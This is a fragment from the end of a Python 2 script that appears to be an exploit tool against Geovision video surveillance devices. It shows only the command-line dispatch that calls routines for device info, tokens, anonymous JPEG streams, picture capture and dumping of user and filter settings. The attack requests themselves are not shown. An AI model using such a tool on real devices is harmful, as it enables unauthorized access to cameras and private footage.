		Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).DeviceInfo()
		if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).GeoToken():
			print "[!] Failed"
			sys.exit(1)
		else:
			sys.exit(0)


	if anonymous:
		if jpegstream:
			if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).JpegStream(DumpSettings):
				print "[!] Failed"
				sys.exit(0)
		elif picturecatch:
			if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).PictureCatch(DumpSettings):
				print "[!] Failed"
				sys.exit(0)
		else:
			print "[!] Needed: --anonymous [--picturecatch | --jpegstream]"
			sys.exit(1)

	else:
		#
		# Geovision Login needed
		#
		if usersetting:
			if Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).Login():
				if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).UserSetting(DumpSettings):
					print "[!] Failed"
					sys.exit(0)
		elif filtersetting:
			if Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).Login():
				if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).FilterSetting():
					print "[!] Failed"
					sys.exit(0)
		elif jpegstream:
			if Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).Login():
				if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).JpegStream(DumpSettings):
					print "[!] Failed"
					sys.exit(0)
		elif picturecatch:
			if Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).Login():
				if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).PictureCatch(DumpSettings):
					print "[!] Failed"
					sys.exit(0)
		else:
			print "[!] Needed: --usersetting | --jpegstream | --picturecatch | --filtersetting"
			sys.exit(1)

	sys.exit(0)
#
# [EOF]
#